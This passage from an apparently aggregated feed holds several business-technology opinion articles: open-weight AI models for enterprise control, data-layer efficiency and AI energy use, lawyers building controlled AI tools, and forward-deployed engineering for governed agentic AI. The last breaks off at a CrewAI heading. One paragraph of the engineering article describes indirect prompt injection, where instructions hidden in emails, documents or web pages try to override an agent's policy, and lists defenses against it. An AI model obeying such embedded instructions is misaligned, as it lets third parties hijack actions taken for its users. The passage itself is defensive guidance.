<p class="wp-block-paragraph">Until recently, the argument for closed frontier models was simple: they were dramatically better. That gap has narrowed faster than most enterprise technology leaders anticipated, and the conversation has shifted from capability to control.</p>



<p class="wp-block-paragraph">Open-weight models, including Meta’s Llama family, Alibaba’s Qwen series, Zhipu AI’s GLM and DeepSeek, have moved well past the research stage. They are running in production at serious organizations, and not because those organizations could not afford anything better. They chose them because open-weight models give them something closed models cannot: control.</p>



<p class="wp-block-paragraph"><a href="https://www.forbes.com/sites/anishasircar/2026/05/21/airbnb-ceo-brian-chesky-called-chinese-ai-fast-and-cheap-now-congress-wants-answers/">Airbnb’s adoption of Alibaba’s Qwen</a> makes the case plainly. CEO Brian Chesky stated that the company relies heavily on Qwen to power its customer service agent, describing it as “very good” and “fast and cheap,” while noting that OpenAI’s SDK was not ready for the depth of integration Airbnb needed. The agent runs across 13 different models. That is not a cost-cutting move. It is a deliberate multi-model architecture built around control, not just capability.</p>



<p class="wp-block-paragraph"><a href="https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork">Microsoft’s evaluation of DeepSeek V4 for Copilot Cowork</a>, reported by Axios in June 2026, tells the same story. The company is exploring a self-hosted DeepSeek to replace the Anthropic and OpenAI models powering its enterprise agentic product, driven by unsustainable costs at scale. Charles Lamanna, Microsoft’s executive vice president for Copilot, agents and platform, told Axios: “We have users who do hundreds of tasks a week… the consequence is the costs can go very high.” The IBM study’s full findings add context: organizations pay 2.8 times more in token processing when AI runs far from the data it depends on.</p>



<p class="wp-block-paragraph">When Airbnb and Microsoft are making these choices in production, the market signal is unambiguous. Open weight is not a fallback. It is the architecture direction serious enterprises are moving toward.</p>



<p class="wp-block-paragraph">Some of these models are Chinese in origin, and yes, that has drawn attention from U.S. lawmakers. Those are real conversations worth having. But here is the practical point: a model running inside your own infrastructure, under your own security controls, gives you more governance than a closed model running on a server you do not own, regardless of where either was built.</p>



<h2 class="wp-block-heading">Three forces accelerating the shift</h2>



<p class="wp-block-paragraph">Three things are pushing enterprises in this direction, and none of them are going away.</p>



<ul class="wp-block-list">
<li><strong>Cost at scale.</strong> Every API call compounds. Open-weight models on your own infrastructure convert that variable cost into one your organization controls. The <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/report/ai-sovereignty">IBM study</a> found misaligned AI infrastructure costs enterprises 2.8 times more in token processing. Microsoft’s DeepSeek evaluation is that logic at the largest scale in the industry.</li>



<li><strong>Data protection.</strong> Consider what this means for a hospital routing patient records through a third-party AI API, a defense contractor using a closed model to analyze procurement data, or bank feeding client financials into an external inference endpoint. In each case, compliance is contingent on a vendor relationship the organization does not fully control. HIPAA does not care whether your AI vendor had a good SLA. FedRAMP authorization does not transfer because a model performed well on a benchmark. Regulators expect organizations to demonstrate control over where sensitive data goes, and a closed frontier API is not a defensible answer. The <a href="https://newsroom.ibm.com/2026-06-17-ibm-study-limited-control-and-rising-dependencies-leave-enterprises-exposed-in-the-age-of-ai">IBM study</a> found 68% of executives say meeting data residency and sovereignty requirements across geographies is already challenging. Open-weight models deployed within your own environment remove that exposure entirely. The data does not leave your perimeter, full stop.</li>



<li><strong>Sovereignty.</strong> The Fable 5 episode made clear that your AI capability is only as sovereign as the provider you depend on. For defense primes, intelligence contractors and any organization operating under jurisdiction-specific regulations, this is an existential design question, not a preference. Open-weight models, deployable under your own governance in any environment, are the only architecture that resolves it.</li>
</ul>



<h2 class="wp-block-heading">What this means for enterprise AI architecture</h2>



<p class="wp-block-paragraph">In conversations with technology leaders, the same pattern keeps surfacing: organizations that started with a single frontier provider for speed are now the most constrained when they try to scale, govern or adapt. This is especially acute in regulated sectors. A healthcare organization that built clinical documentation on a closed frontier model faces a hard question every time that vendor changes its data processing terms. A defense contractor with a closed model embedded in its logistics pipeline must revisit its authorization to operate every time the model updates silently. The implication is not to abandon frontier models entirely. It is to stop building AI programs that depend on them as the sole or default layer.</p>



<p class="wp-block-paragraph">The practical answer is a multi-model architecture: frontier models where the capability genuinely justifies the cost and the data exposure, open-weight models running on your own infrastructure for everything else. Not every task needs the most powerful model available. And not every task should leave your perimeter.</p>



<p class="wp-block-paragraph">DCosta framed the coming divide as between AI owners and AI renters. I would take that one step further. The organizations that will genuinely own their AI are the ones building the infrastructure, governance and internal capability to run open-weight models on their own terms, right now. The ones that continue to depend entirely on closed frontier providers are not owners, whatever they call themselves. They are renters, and their leases can be terminated, repriced or restricted at any time. The <a href="https://newsroom.ibm.com/2026-06-17-ibm-study-limited-control-and-rising-dependencies-leave-enterprises-exposed-in-the-age-of-ai">IBM study</a> makes the stakes clear: 57% of executives say replacing a core AI model would require significant decoupling or a full rebuild. The longer you wait to build portability in, the harder it gets.</p>



<p class="wp-block-paragraph">The best AI model is not the one with the highest benchmark score. It is the one that fits into an architecture your organization governs.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your data layer is AI’s most critical climate technology]]></title>
<description><![CDATA[I have spent enough time building cloud and AI infrastructure to know one thing: Efficiency problems never show up where teams expect them. They tend to sit just beneath the surface, quietly shaping outcomes long before they appear in the metrics anyone is tracking. Most enterprise conversations ...]]></description>
<link>https://tsecurity.de/de/3696831/it-nachrichten/why-your-data-layer-is-ais-most-critical-climate-technology/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696831/it-nachrichten/why-your-data-layer-is-ais-most-critical-climate-technology/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have spent enough time building cloud and AI infrastructure to know one thing: Efficiency problems never show up where teams expect them. They tend to sit just beneath the surface, quietly shaping outcomes long before they appear in the metrics anyone is tracking. Most enterprise conversations still center on token pricing. That focus makes sense. The per-unit cost of using models has fallen quickly, and organizations want to understand whether AI can scale without pushing budgets out of bounds.</p>



<p class="wp-block-paragraph">That question has become more complicated than it looks. At the same time, the nature of each interaction has changed. What used to resemble a straightforward exchange now involves retrieval and ongoing reasoning that unfolds across multiple steps. Even with lower unit costs, total consumption continues to rise because each request requires more underlying work. This creates a contradiction. Tokens are cheaper, yet overall compute demand keeps increasing. That compute demand has to go somewhere, and where it goes is a growing problem. </p>



<p class="wp-block-paragraph">The answer, increasingly, is the power grid. The International Energy Agency has warned that <a href="https://www.iea.org/reports/energy-and-ai">AI and data centers</a> are becoming a major source of electricity demand, and Goldman Sachs Research has projected that data center power demand could rise <a href="https://www.goldmansachs.com/insights/articles/ai-to-drive-165-increase-in-data-center-power-demand-by-2030">165% by 2030</a> compared with 2023 levels. Today, electricity consumption from data centers already amounts to roughly 415 terawatt hours, or about <a href="https://www.iea.org/reports/energy-and-ai/energy-demand-from-ai">1.5% of global electricity use</a>, and has been growing at roughly 12% annually over the past five years. Much of the response has focused on models or hardware. Both matter, but they do not explain the full picture. In enterprise environments, a meaningful share of inefficiency begins before a model processes anything at all. It begins in the data layer.</p>



<h2 class="wp-block-heading">The paradox: Cheaper tokens, more total compute</h2>



<p class="wp-block-paragraph">I have seen this pattern play out before. When unit costs drop, usage expands and everyone is surprised, every time. AI is following that same trajectory.</p>



<p class="wp-block-paragraph">Lower token pricing has made it easier to integrate models into more workflows. Those workflows have also become more involved. Systems retrieve broader context and revisit outputs before returning a result. The additional activity outweighs the savings from lower pricing. In many cases, a system prompt alone can consume <a href="https://www.mindstudio.ai/blog/token-based-pricing#:~:text=Longer%20prompts%20consume%20more%20input,can%20easily%20accumulate%2015%2C000+%20tokens">2,000–5,000 tokens</a> before a user even contributes input, which means the baseline cost of each interaction has already expanded. This is no longer just a financial consideration. Increased compute demand brings increased energy consumption, which is becoming a central constraint for enterprise AI.</p>



<h2 class="wp-block-heading">Why agentic AI changes the energy equation</h2>



<p class="wp-block-paragraph">Average load: It rarely tells the full story. A platform can appear stable while quietly absorbing constant internal work that never surfaces to users. Agentic AI introduces that kind of persistent demand.</p>



<p class="wp-block-paragraph">An agent continues operating in the background even after a user interaction ends. It checks for new inputs, revisits its internal state, then prepares the next action. That ongoing loop changes how infrastructure is consumed. Instead of handling activity in bursts, systems begin to carry a steady baseline load. Compute usage becomes continuous rather than intermittent.</p>



<p class="wp-block-paragraph">This shift exposes inefficiencies that might otherwise go unnoticed. A slow query or a fragmented data source affects far more than a single request. The same issue repeats continuously, which increases both cost and energy consumption over time. This matters even more as inference workloads scale, with projections suggesting they could account for <a href="https://www.mckinsey.com/featured-insights/week-in-charts/the-future-of-ai-workloads">more than 40%</a> of data center demand by 2030.</p>



<h2 class="wp-block-heading">The overlooked source of energy growth: The data layer</h2>



<p class="wp-block-paragraph">In almost every architecture review I’ve sat through, attention gravitates toward model performance or infrastructure spend. The data layer gets treated as an afterthought. That assumption falls apart the moment you move into retrieval-heavy AI. </p>



<p class="wp-block-paragraph">Agents depend on access to reliable context. They pull information from operational systems as well as analytical platforms. When those sources are disconnected, each interaction requires additional effort to assemble a usable view.</p>



<p class="wp-block-paragraph">That effort accumulates quickly. Data must first be located before it can be used. It often needs to be moved into another environment, then reshaped into a format the model can process. Only after that does it become useful for decision-making. Each step introduces overhead that consumes compute and energy. In practice, engineers can <a href="https://www.jmp.com/en/blog/data-prep/stop-wasting-time-on-data-preparation">spend up to 40%</a> of their time preparing data before it is even usable for downstream systems. The model remains the most visible part of the system, but the surrounding data work often determines how much energy the system ultimately uses.</p>



<h2 class="wp-block-heading">Fragmentation as the root cause</h2>



<p class="wp-block-paragraph">Enterprise architectures evolve over time, and fragmentation usually reflects a series of reasonable decisions rather than a single mistake. The challenge appears when AI systems need to operate across all environments at once.</p>



<p class="wp-block-paragraph">Fragmentation forces repeated work. Systems retrieve overlapping datasets because no single source is trusted as authoritative. Pipelines reprocess information that already exists elsewhere. Teams build parallel structures instead of relying on shared ones.</p>



<p class="wp-block-paragraph">This pattern increases demand in ways that are easy to overlook. When retrieval becomes inconsistent, applications compensate by sending more context than necessary. Models then process larger inputs, which increases token usage without improving the quality of the outcome. What appears to be a model efficiency issue often traces back to data architecture. It also helps explain why as many as <a href="https://www.businessinsider.com/sc/the-data-readiness-gap-holding-back-roi">60% of AI projects</a> are abandoned before reaching production, often due to gaps in data readiness rather than model capability.</p>



<h2 class="wp-block-heading">Why sovereign, unified architecture changes the math</h2>



<p class="wp-block-paragraph">I have seen organizations improve efficiency without changing models simply by reducing friction in how data is accessed. The good news is that the fix is closer than most teams assume. </p>



<p class="wp-block-paragraph">A more unified architecture shortens the path between a question and the data needed to answer it. When systems can access authoritative data directly, they avoid repeated transformations and unnecessary duplication. Retrieval becomes more precise, which allows models to operate with less excess input.</p>



<p class="wp-block-paragraph">This does not require consolidating everything into a single system. Enterprises will continue to operate across multiple environments. The objective is to reduce unnecessary movement and make data easier to use wherever it resides. Sovereignty and control play an important role as well. Organizations operating across different environments need a clear understanding of where data resides and how it can be used. When governance is built into the architecture, systems spend less time reconciling access and more time producing results. Reducing friction at this layer has a direct effect on both cost and energy use.</p>



<h2 class="wp-block-heading">What 2026 will expose</h2>



<p class="wp-block-paragraph">The next phase of enterprise AI will shift attention from access cost to operating cost. Early efforts focused on whether organizations could use advanced models. The next stage focuses on whether those systems can run continuously across real workflows without creating unsustainable demand.</p>



<p class="wp-block-paragraph">That shift will make energy consumption more visible. It will also make inefficiencies harder to ignore. Some increase in demand reflects real value. Systems that improve decision-making or streamline operations will naturally require more compute. The more difficult question is whether additional consumption reflects useful work or avoidable overhead.</p>



<p class="wp-block-paragraph">When systems repeatedly move and reprocess the same data, the increase in energy use does not correspond to better outcomes. It reflects architectural inefficiency. CIOs will need to examine that distinction more closely.</p>



<h2 class="wp-block-heading">The takeaway for tech leaders</h2>



<p class="wp-block-paragraph">Before adding infrastructure, ask an honest question: Is this capacity supporting real growth, or is it just hiding inefficiencies that should have been fixed first? Start with the data layer.</p>



<p class="wp-block-paragraph">Review how systems retrieve context. Look for duplication across environments. Identify where data is repeatedly transformed before it becomes usable. These patterns reveal whether the architecture is enabling efficient AI or creating unnecessary demand.</p>



<p class="wp-block-paragraph">Enterprise systems will always involve complexity. The objective is to ensure that complexity does not translate into avoidable work. In the agentic era, the efficiency of AI systems is closely tied to how much work happens before the model produces an answer. Data architecture plays a central role in determining whether that work remains controlled or expands beyond what is necessary.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Control is the feature: The real AI risk is the lawyer you told not to use it]]></title>
<description><![CDATA[The real risk in legal AI is not the lawyer who studies these tools. It is the associate who quietly pastes a client’s contract into a free chatbot at 11 p.m. because a brief is due and nobody gave them anything better.



That lawyer exists at your firm right now. Survey after survey confirms it...]]></description>
<link>https://tsecurity.de/de/3696838/it-nachrichten/control-is-the-feature-the-real-ai-risk-is-the-lawyer-you-told-not-to-use-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696838/it-nachrichten/control-is-the-feature-the-real-ai-risk-is-the-lawyer-you-told-not-to-use-it/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The real risk in legal AI is not the lawyer who studies these tools. It is the associate who quietly pastes a client’s contract into a free chatbot at 11 p.m. because a brief is due and nobody gave them anything better.</p>



<p class="wp-block-paragraph">That lawyer exists at your firm right now. <a href="https://www.lawnext.com/2026/03/ai-adoption-among-legal-professionals-has-more-than-doubled-in-a-year-new-8am-report-finds-but-firms-lag-far-behind-individual-practitioners.html">Survey after survey</a> confirms it, and common sense confirms it faster. The tools are free, fast and remarkably good at exactly the drudgery that fills a litigator’s week. Telling people not to use them is like telling people not to use search engines. The use does not stop. It just goes underground, where there is no policy, no supervision and no control over where the client’s information lands.</p>



<p class="wp-block-paragraph">That is the problem worth writing about. Not whether AI will replace lawyers. Whether lawyers will manage it or pretend it away.</p>



<h2 class="wp-block-heading">The false choice</h2>



<p class="wp-block-paragraph">Most firms have picked one of two postures, and both are less careful than they feel.</p>



<p class="wp-block-paragraph">The first is <strong>prohibition</strong>. Ban the tools, circulate a stern memo, move on. This feels responsible. It is not. Prohibition does nothing to the demand side. The work is still crushing, the tools are still one browser tab away and the memo guarantees that when someone uses them anyway, and someone will, they will not tell you. You have not eliminated the risk. You have blinded yourself to it.</p>



<p class="wp-block-paragraph">The second is <strong>procurement</strong>. Buy an enterprise legal AI platform, sign the vendor’s security addendum and trust the marketing. This feels responsible too. But most lawyers who buy these platforms cannot tell you where the data goes, what the vendor retains, whether client documents train someone else’s model or what happens inside the black box between the upload and the answer. You have not exercised judgment. You have outsourced it, along with your client’s data flow, to a sales team.</p>



<p class="wp-block-paragraph">Neither posture asks the lawyer to actually <em>understand</em> the technology. That is the tell. We would never let an associate cite a case they have not read. Yet firms routinely adopt, or ban, tools that nobody in the building has taken apart.</p>



<h2 class="wp-block-heading">The third path</h2>



<p class="wp-block-paragraph">There is a third posture, and a small but growing movement of lawyers has already taken it. Some call them “legal quants,” a borrowed term from finance, where quantitative analysts stopped waiting for vendors and built their own instruments. The legal version is a lawyer who learns enough about how these systems work to build careful, narrow, controlled tools for their own practice, rather than banning the technology or buying whatever is on offer.</p>



<p class="wp-block-paragraph">This is not hypothetical, and it is not confined to coastal tech firms. One of my law partners went through an intensive legal-tech residency and came back with a working tool he built himself, one that handles a defined slice of our document work, runs under conditions he set and keeps client material inside boundaries he can actually describe. I am deliberately light on the details, because the program matters less than the posture. He did not buy a promise. He built an instrument, and he knows exactly what it does and does not do.</p>



<p class="wp-block-paragraph">That knowledge is the whole point.</p>



<h2 class="wp-block-heading">Where this actually bites</h2>



<p class="wp-block-paragraph">My practice is commercial litigation in Georgia. Contract disputes, business torts, healthcare litigation. It is document-heavy in the way that grinds people down: thousand-page productions, deposition transcripts, discovery responses that have to be checked against each other line by line.</p>



<p class="wp-block-paragraph">The judgment in that work lives in the seams. Which limitation-of-liability clause actually controls. Which answer to Interrogatory 14 contradicts what the witness said on page 212. Whether a document is privileged or merely embarrassing. AI is genuinely useful at surfacing those seams faster, organizing, comparing, flagging. It is genuinely dangerous when it is trusted to resolve them.</p>



<p class="wp-block-paragraph">A controlled tool respects that line by design. It surfaces, and the lawyer decides. An off-the-shelf chatbot respects no line at all, because nobody drew one.</p>



<h2 class="wp-block-heading">Confidentiality cuts the other way</h2>



<p class="wp-block-paragraph">Here is what the hand-wringing pieces get backwards. Confidentiality is not the reason to avoid understanding these tools. It’s the reason you must.</p>



<p class="wp-block-paragraph">A lawyer who understands how a language model handles information is far better positioned to protect client confidences than one who does not. They know what gets transmitted, what gets retained, what gets logged and where inference actually runs. They can read a vendor’s data-handling terms and know which questions to ask. They can configure a tool so that client documents never leave a controlled environment. They can spot the difference between real security architecture and a badge on a website.</p>



<p class="wp-block-paragraph">The lawyer who “protects confidentiality” by refusing to learn cannot do any of that. Their protection is a memo. The other’s is control. Under <a href="https://www.americanbar.org/news/abanews/aba-news-archives/2024/07/aba-issues-first-ethics-guidance-ai-tools/">Rule 1.6 and our duty of technological competence</a>, control is what the obligation actually demands.</p>



<h2 class="wp-block-heading">The honest limits</h2>



<p class="wp-block-paragraph">None of this replaces judgment, and nothing I have described runs unsupervised. Every output gets reviewed by a lawyer who answers for it, to the client, to the court, to the bar. These systems draft, sort, compare and flag. They do not sign. The hallucinated-citation sanctions cases <a href="https://www.thomsonreuters.com/en-us/posts/technology/genai-hallucinations/">all share one fact pattern</a>: a lawyer who skipped the review. The tool did not fail. The posture did.</p>



<h2 class="wp-block-heading">What clients are already asking</h2>



<p class="wp-block-paragraph">Clients are already asking how their lawyers use AI, and the answers they deserve are specific ones. What we use, what we built, where their information goes and who checks the work. Firms that can answer will earn trust. Firms whose real answer is “we banned it, and we hope everyone complied” will not.</p>



<p class="wp-block-paragraph">The profession does not need more hype, and it does not need more fear. It needs lawyers willing to take these systems apart, keep a human in charge and build tools worthy of the confidences we hold. Some of us have started. The rest should catch up.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Forward-deployed engineering in the age of agentic AI: From vibe coding to governed autonomy]]></title>
<description><![CDATA[Forward-deployed engineering (FDE), has moved from being a niche delivery model to becoming one of the most important operating patterns for enterprise artificial intelligence. In traditional software programs, organizations could usually separate product engineering, implementation consulting, o...]]></description>
<link>https://tsecurity.de/de/3696840/it-nachrichten/forward-deployed-engineering-in-the-age-of-agentic-ai-from-vibe-coding-to-governed-autonomy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696840/it-nachrichten/forward-deployed-engineering-in-the-age-of-agentic-ai-from-vibe-coding-to-governed-autonomy/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Forward-deployed engineering (FDE), has moved from being a niche delivery model to becoming one of the most important operating patterns for enterprise artificial intelligence. In traditional software programs, organizations could usually separate product engineering, implementation consulting, operations and governance into different teams. Agentic AI changes that separation. An agent does not merely answer a question; it may plan, call tools, read enterprise data, update systems, create artifacts, trigger approvals and continue across several steps. Because of this, production success depends less on a model demo and more on the careful engineering of business context, workflow boundaries, controls, observability and human accountability.</p>



<p class="wp-block-paragraph">FDE addresses this gap by embedding engineering capability close to the business problem. A forward-deployed engineer works with product teams, domain experts, security teams, platform owners and end users to convert an AI idea into a working, governed, measurable system. The role combines software engineering, data engineering, cloud architecture, model evaluation, security design, user research and operational ownership. In the Agentic AI world, this blend is not optional. It is the difference between a clever prototype and a dependable production workflow.</p>



<h2 class="wp-block-heading">Why FDE is needed in agentic AI</h2>



<p class="wp-block-paragraph">Agentic AI deployment is rarely a simple matter of selecting a foundation model and connecting it to a user interface. Enterprise agents operate inside business processes that already contain policies, data quality issues, exception paths, audit requirements, identity controls and legacy systems. A sales operations agent, for example, may need to read CRM records, interpret account notes, generate a renewal recommendation, check discount eligibility, route an approval and update the opportunity. Each of those steps introduces risk. The agent must know what it is allowed to do, what it should never do, when it must ask a human and how its decisions can be traced later.</p>



<p class="wp-block-paragraph">This is where FDE becomes valuable. FDE teams do not treat Agentic AI as a packaged tool to be installed. They treat it as a socio-technical system that must be shaped around a real business workflow. They discover the actual process, map data dependencies, identify integration points, define controls, implement the orchestration, create evaluation suites and help the client team learn how to operate the system after the initial deployment. The forward-deployed model is therefore especially suited to the last mile of AI adoption, where most enterprise AI initiatives struggle. This view is consistent with Gartner’s guidance that <a href="https://www.gartner.com/en/newsroom/press-releases/2026-05-26-gartner-says-applying-uniform-governance-across-ai-agents-will-lead-to-enterprise-ai-agent-failur">enterprise AI agent success depends on proportional governance</a> aligned to autonomy level and scope of access.</p>



<h2 class="wp-block-heading">The FDE operating model</h2>



<p class="wp-block-paragraph">A mature FDE operating model normally follows a compressed but disciplined cycle. The team first clarifies the business outcome rather than accepting the initial solution request at face value. Next, it decomposes the workflow into tasks, decisions, systems, data sources and approval points. It then builds a thin production slice rather than a detached proof of concept. This slice includes real authentication, realistic data, monitored tool calls, repeatable tests and rollback options. Once the system is usable, the FDE team iterates with business users, tunes the agent behavior, improves the prompts or policies, hardens the integration layer and transfers operating knowledge to the internal team.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/fde-continuous-improvement.png?w=1024" alt="Figure 1: A matured FDE operating model" class="wp-image-4202406" width="1024" height="614" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: A matured FDE operating model</em>.</figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p class="wp-block-paragraph">The important distinction is that FDE is not conventional staff augmentation. It is also not advisory consulting that ends with a roadmap. FDE is outcome-oriented engineering in the field. The engineer is close enough to the customer environment to see real constraints, yet technical enough to change the system directly. In Agentic AI, that proximity matters because small details can decide whether a workflow is trusted: a missing approval step, an overly broad tool permission, an unlogged data access, a weak retry policy or an untested edge case can undermine the entire deployment. Forrester similarly positions agentic AI as a <a href="https://www.forrester.com/blogs/agentic-ai-is-the-next-competitive-frontier/">competitive frontier that requires leaders to redesign workflows, governance and engagement models</a> rather than simply automate existing tasks.</p>



<h2 class="wp-block-heading">Operationalizing multi-step agentic workflows</h2>



<p class="wp-block-paragraph">Operationalization begins by turning an agent idea into an explicit workflow. Instead of saying, “build an agent that handles vendor onboarding,” an FDE team defines the stages: collect supplier information, validate tax details, screen sanctions lists, check contract thresholds, request procurement approval, create a supplier record and notify stakeholders. Each stage is assigned to a deterministic function, an AI agent, a human approver or a hybrid step. This decomposition reduces ambiguity and makes it easier to govern the process.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/operationalizing-an-agent-workflow-with-fde.png?w=1024" alt="Figure 2: Operationalizing an agent workflow with FDE." class="wp-image-4202407" width="1024" height="570" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 2: Operationalizing an agent workflow with FDE.</em></figcaption></figure><p class="imageCredit">Magesh Kasthuri</p></div>



<p class="wp-block-paragraph">In production, an FDE must design for state, retries, failures, idempotency and observability. Agentic workflows may run for minutes, hours or days. They may wait for an external API, pause for approval, recover from a system outage or resume after a user changes input. A robust implementation therefore needs checkpoints, durable state, structured event logs, trace IDs, policy-aware tool execution and dashboards that show where the workflow is stuck. Without these engineering controls, an agent may appear intelligent in a demo but become fragile in live operations. IDC’s perspective on agent adoption also highlights that the <a href="https://www.idc.com/resource-center/blog/agent-adoption-the-it-industrys-next-great-inflection-point/">scale of enterprise agents will create major demands around orchestration, token efficiency, governance and cost containment</a>.</p>



<h2 class="wp-block-heading">Governing agentic AI through FDE</h2>



<p class="wp-block-paragraph">Governance in Agentic AI cannot be added as a final compliance checklist. It must be embedded into the workflow design. FDE teams help by translating policy into executable controls. For example, they can define which tools an agent may call, which data classes it can access, what confidence thresholds require escalation, which outputs need review and how exceptions are recorded. They also help establish evaluation datasets that reflect real operating scenarios rather than sanitized prompts.</p>



<p class="wp-block-paragraph">A practical governance model usually contains five layers. The first is intent governance, which verifies that the agent is solving an approved business problem. The second is data governance, which controls source quality, access, retention and lineage. The third is tool governance, which restricts actions such as writing to systems, sending emails, executing code or changing financial records. The fourth is decision governance, which determines where humans must approve or override agent recommendations. The fifth is runtime governance, which monitors drift, failure patterns, cost, latency and policy violations. Gartner’s 2026 guidance on AI agent governance reinforces this need for differentiated controls, warning that uniform governance across all agents can create both over-restriction and under-restriction risks.</p>



<h2 class="wp-block-heading">Securing agentic AI workflows</h2>



<p class="wp-block-paragraph">Security for Agentic AI is broader than prompt safety. Agents can act and every action surface must be secured. FDE teams typically implement least-privilege access, scoped credentials, tool allowlists, secrets isolation, input validation, output filtering, data loss prevention checks and protected execution environments. They also design approval gates for high-impact operations. A procurement agent may be allowed to draft a purchase order, but it should not submit the order above a threshold without explicit authorization.</p>



<p class="wp-block-paragraph">Another important responsibility is defending against indirect prompt injection and tool misuse. If an agent reads an email, document, ticket or web page, that content may contain instructions that attempt to override the system policy. FDE engineers reduce this risk by separating instructions from data, sanitizing retrieved content, validating tool arguments, limiting write permissions and logging every external action. In regulated environments, they also design audit trails that show not only the final answer but the path the agent took to reach it. Forrester’s AEGIS framework similarly argues that <a href="https://www.forrester.com/blogs/introducing-aegis-the-guardrails-cisos-need-for-the-agentic-enterprise/">agentic AI security must move beyond traditional infrastructure-centric controls</a> toward intent-aware guardrails, observability, accountability and least-agency principles.</p>



<h2 class="wp-block-heading">FDE and vibe coding: Relationship and tension</h2>



<p class="wp-block-paragraph">Vibe coding refers to a style of AI-assisted software development where a person expresses intent in natural language and an AI system generates much of the code. It can be extremely useful for prototyping, exploration, internal tools and rapid experimentation. In the context of FDE, vibe coding can accelerate the early build cycle because forward deployed engineers can quickly sketch integrations, generate boilerplate, create test harnesses and explore workflow alternatives with AI coding assistants.</p>



<p class="wp-block-paragraph">However, FDE also provides the discipline that vibe coding alone lacks. An enterprise agent cannot rely on generated code that nobody has reviewed, tested or secured. The FDE approach turns intent-driven development into responsible engineering. The engineer may use AI to generate code, but then verifies it through code review, unit tests, integration tests, security checks, policy validation and operational monitoring. In short, vibe coding helps move faster; FDE ensures that speed does not come at the cost of reliability, maintainability or accountability. This aligns with Forrester’s caution that agentic systems can become harmful when they are misaligned, poorly governed or deployed without adequate experimentation and control.</p>



<h2 class="wp-block-heading">Example: LangGraph with FDE orchestration</h2>



<p class="wp-block-paragraph">LangGraph is well suited for FDE-led Agentic AI implementations because it models workflows as graphs with state, nodes, edges, persistence and human-in-the-loop control. An FDE team can use it to build long-running, auditable workflows where every step is explicit. Consider a customer support escalation workflow. The graph may begin with ticket intake, move to classification, retrieve policy documents, ask a diagnostic agent to propose a resolution, route uncertain cases to a human reviewer and finally update the ticketing system.</p>



<p class="wp-block-paragraph">In this model, the FDE defines the state schema, selects which nodes use LLM reasoning, separates deterministic validation from agentic reasoning and adds checkpoints so the workflow can resume after interruption. Human review is not an afterthought; it becomes a graph transition. If the confidence score is low or a policy exception appears, the workflow pauses for approval. This is an example of FDE orchestration: the framework supplies the runtime primitives, while the forward-deployed engineer shapes those primitives into a secure business process.</p>



<p class="wp-block-paragraph">A simplified LangGraph-style pattern may include nodes such as intake_agent, retrieval_node, policy_checker, resolution_agent, human_approval and ticket_update. The FDE ensures that ticket_update can only run after validation and that sensitive customer data is masked before being sent to the model. The result is not merely an autonomous assistant; it is a controlled workflow that can be inspected, resumed, tested and improved.</p>



<h2 class="wp-block-heading">Example: Microsoft AutoGen and Microsoft Agent Framework with FDE orchestration</h2>



<p class="wp-block-paragraph">Microsoft AutoGen popularized the idea of multi-agent conversations where agents with different roles collaborate to solve a task. In newer enterprise settings, Microsoft Agent Framework provides production-oriented patterns for agents and workflows, including sequential, concurrent, handoff, group chat and manager-led orchestration. An FDE can use these patterns to design a governed multi-agent system rather than a free-form conversation among bots.</p>



<p class="wp-block-paragraph">For example, imagine an enterprise architecture review assistant. One agent reads the solution brief, another checks cloud security requirements, a third evaluates cost and FinOps implications and a fourth prepares a decision summary. A manager or orchestrator coordinates the agents, decides when to ask for missing information and routes the final recommendation to an architect for approval. The FDE defines agent roles, tool permissions, routing logic, approval-required actions and telemetry. If the security agent recommends a design exception, the workflow can pause until an authorized reviewer approves it.</p>



<p class="wp-block-paragraph">In this case, FDE orchestration prevents the system from becoming an uncontrolled debate among agents. It introduces structure: which agent speaks when, which tools each agent may use, which outputs must be machine-readable and what evidence is required before a recommendation is accepted. This is especially important in Microsoft-centric enterprises where identity, audit, data boundaries and cloud governance must align with existing platforms.</p>



<h2 class="wp-block-heading">Example: CrewAI with FDE orchestration</h2>



